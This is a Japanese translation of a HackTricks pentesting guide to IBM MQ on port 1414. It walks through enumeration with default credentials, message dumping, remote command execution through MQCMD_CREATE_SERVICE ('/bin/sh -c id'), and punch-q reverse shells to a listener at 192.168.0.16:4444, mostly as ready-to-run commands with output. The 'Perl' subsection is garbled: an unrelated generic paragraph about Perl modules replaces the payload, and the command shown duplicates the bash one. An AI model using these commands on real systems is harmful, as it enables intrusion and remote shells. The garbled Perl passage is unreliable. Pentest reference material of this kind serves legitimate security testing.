hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

23 KiB
Raw Blame History

1414 - IBM MQのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

IBM MQは、メッセージキューを管理するためのIBMの技術です。他のメッセージブローカー技術と同様に、プロデューサーとコンシューマーの間で情報を受信、保存、処理、分類するために使用されます。

デフォルトでは、IBM MQはTCPポート1414を公開しています。 時には、HTTP REST APIがポート9443で公開されていることもあります。 メトリクスPrometheusはTCPポート9157からアクセスできる場合もあります。

IBMは、https://www.ibm.com/docs/en/ibm-mqで利用可能な大量の技術ドキュメントを提供しています。

ツール

簡単な攻撃には、**punch-q**というツールが推奨されています。Dockerを使用しています。このツールは、Pythonライブラリpymqiを積極的に使用しています。

より手動的なアプローチをする場合は、Pythonライブラリ**pymqi**を使用してください。IBM MQの依存関係が必要です。

pymqiのインストール

IBM MQの依存関係をインストールしてロードする必要があります。

  1. https://login.ibm.com/でアカウントIBMidを作成します。
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fcからIBM MQライブラリをダウンロードします。Linux x86_64の場合は9.0.0.4-IBM-MQC-LinuxX64.tar.gzです。
  3. 解凍します(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。
  4. sudo ./mqlicense.shを実行してライセンス条件に同意します。

Kali Linuxを使用している場合は、ファイルmqlicense.shを変更します。次の行105-110行目を削除/コメントアウトします。

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
  then
    echo "ERROR: This package is incompatible with this system"
    echo "       This package was built for ${BUILD_PLATFORM}"
    exit 1
fi
  1. これらのパッケージをインストールします:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 次に、一時的に.soファイルをLDに追加しますexport LD_LIBRARY_PATH=/opt/mqm/lib64。他の依存関係を使用するツールを実行する前にこれを行ってください。

次に、プロジェクトpymqiをクローンします。これには興味深いコードスニペットや定数などが含まれています。または、次のコマンドで直接ライブラリをインストールすることもできます:pip install pymqi

punch-qの使用

Dockerを使用する場合

単純に次のコマンドを使用します:sudo docker run --rm -ti leonjza/punch-q

Dockerを使用しない場合

プロジェクトpunch-qをクローンし、インストールのためにreadmeに従ってくださいpip install -r requirements.txt && python3 setup.py install)。

その後、punch-qコマンドで使用できます。

列挙

punch-qまたはpymqiを使用して、キューマネージャー名、ユーザー、チャネル、キューを列挙することができます。

キューマネージャー

キューマネージャー名を取得するための保護がない場合があります:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

チャネル

punch-qは、既存のチャネルを見つけるために内部(変更可能な)ワードリストを使用しています。使用例:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

いくつかのIBM MQインスタンスでは、認証されていないMQリクエストを受け付けることがありますので、--username / --passwordは必要ありません。もちろん、アクセス権も異なる場合があります。

一度チャネル名(ここではDEV.ADMIN.SVRCONN)を取得すると、他のすべてのチャネルを列挙することができます。

列挙は、基本的にはpymqicode/examples/dis_channels.pyというコードスニペットを使用して行うことができます。

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

...しかし、punch-qもその部分を埋め込んでいます(さらに詳細な情報も含まれています!)。 次のコマンドで実行できます:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

キュー

pymqi (dis_queues.py) にはコードスニペットがありますが、punch-q を使用するとキューに関するさらなる情報を取得できます。

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

メッセージのダンプ

キュー/チャネルをターゲットにして、そこからメッセージをスニッフィング/ダンプすることができます(破壊的な操作ではありません)。例:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

すべての特定のキューに対して繰り返し処理を躊躇しないでください。

コードの実行

続ける前にいくつかの詳細を説明します: IBM MQは複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストはIBM MQドキュメントで見つけることができます。 PCF (Programmable Command Formats)は、リモートでインスタンスと対話するために焦点を当てているものです。punch-qとさらにpymqiは、PCFの相互作用に基づいています。

PCFコマンドのリストを見つけることができます:

1つの興味深いコマンドはMQCMD_CREATE_SERVICEで、そのドキュメントはこちらで利用できます。このコマンドは、インスタンス上のローカルプログラムを指すStartCommandを引数として取ります(例:/bin/sh)。

ドキュメントには、このコマンドの警告もあります: "注意: このコマンドを使用する権限が与えられると、ユーザーはmqm権限で任意のコマンドを実行できます。このコマンドを使用する権限が与えられた場合、悪意のあるユーザーや注意を欠いたユーザーは、システムやデータを破損するサービスを定義することができます。たとえば、重要なファイルを削除することができます。"

注: IBM MQドキュメント管理リファレンスによれば、サービスの作成DEFINE SERVICEのための同等のMQSCコマンドを実行するためのHTTPエンドポイント/admin/action/qmgr/{qmgrName}/mqscも存在します。この側面はまだここではカバーされていません。

リモートプログラムの実行のためのPCFによるサービスの作成/削除は、punch-qによって行うことができます:

例1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQのログには、コマンドが正常に実行されたことが記録されています

2023-10-10T19:13:01.713Z AMQ5030I: コマンド '808544aa7fc94c48' が開始されました。プロセスID(618)[ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

また、マシン上の既存のプログラムを列挙することもできます(ここでは /bin/doesnotexist ... 存在しません):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

プログラムの起動が非同期であることに注意してください。したがって、エクスプロイトを活用するためには、2番目のアイテムが必要です (リバースシェルのリスナー、異なるサービスでのファイル作成、ネットワークを介したデータの外部流出など)

例2

簡単なリバースシェルのために、punch-qは2つのリバースシェルペイロードも提供しています

  • bashを使用したもの
  • perlを使用したもの

もちろん、executeコマンドを使用してカスタムのリバースシェルを作成することもできます。

bashの場合

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Perlパールについて

Perlは、高水準の動的プログラミング言語であり、多くのネットワークサービスのペネトレーションテストに使用されます。Perlは、その柔軟性と強力なテキスト処理機能で知られています。以下は、Perlを使用したネットワークサービスのペネトレーションテストに関するいくつかの重要なポイントです。

  1. ポートスキャンPerlのNet::Pingモジュールを使用して、ネットワーク上の特定のポートの状態を確認できます。これにより、開いているポートや閉じているポートを特定することができます。

  2. パケットキャプチャPerlのNet::Pcapモジュールを使用して、ネットワーク上のパケットをキャプチャし、解析することができます。これにより、ネットワークトラフィックの分析や潜在的な脆弱性の特定が可能になります。

  3. プロトコル解析PerlのNet::Packetモジュールを使用して、ネットワーク上のさまざまなプロトコルを解析できます。これにより、ネットワーク上の通信の内容や構造を理解し、セキュリティ上の問題を特定することができます。

  4. データベースアクセスPerlのDBIモジュールを使用して、データベースに対してクエリを実行したり、データを操作したりすることができます。これにより、データベースに関連するセキュリティ上の問題を特定することができます。

  5. ウェブアプリケーションテストPerlのLWPモジュールを使用して、ウェブアプリケーションのテストを自動化することができます。これにより、ウェブアプリケーションのセキュリティ上の脆弱性を特定し、悪用を防ぐことができます。

Perlは、その豊富なモジュールと柔軟性により、ネットワークサービスのペネトレーションテストにおいて非常に有用なツールとなっています。

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

カスタムPCF

IBM MQのドキュメントを調べ、punch-qで実装されていない特定のPCFコマンドをテストするために、pymqiのPythonライブラリを直接使用することができます。

例:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

もし定数の名前が見つからない場合は、IBM MQのドキュメントを参照することができます。

例として、MQCMD_REFRESH_CLUSTER (10進数 = 73)を使用します。パラメータMQCA_CLUSTER_NAME (10進数 = 2029)が必要で、*にすることができます(ドキュメント: )。

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("エラー")
else:
    print(response)

qmgr.disconnect()

テスト環境

IBM MQの動作や脆弱性をテストするために、Dockerを使用したローカル環境をセットアップすることができます。

  1. ibm.comとcloud.ibm.comにアカウントを持っていること。
  2. 以下の手順でコンテナ化されたIBM MQを作成します
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

デフォルトでは、認証は有効になっており、ユーザー名は admin でパスワードは passw0rd です(環境変数 MQ_ADMIN_PASSWORD)。 ここでは、キューマネージャの名前が MYQUEUEMGR に設定されています(変数 MQ_QMGR_NAME)。

IBM MQを起動し、ポートを公開している必要があります

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQの古いバージョンのDockerイメージは次の場所にありますhttps://hub.docker.com/r/ibmcom/mq/

参考文献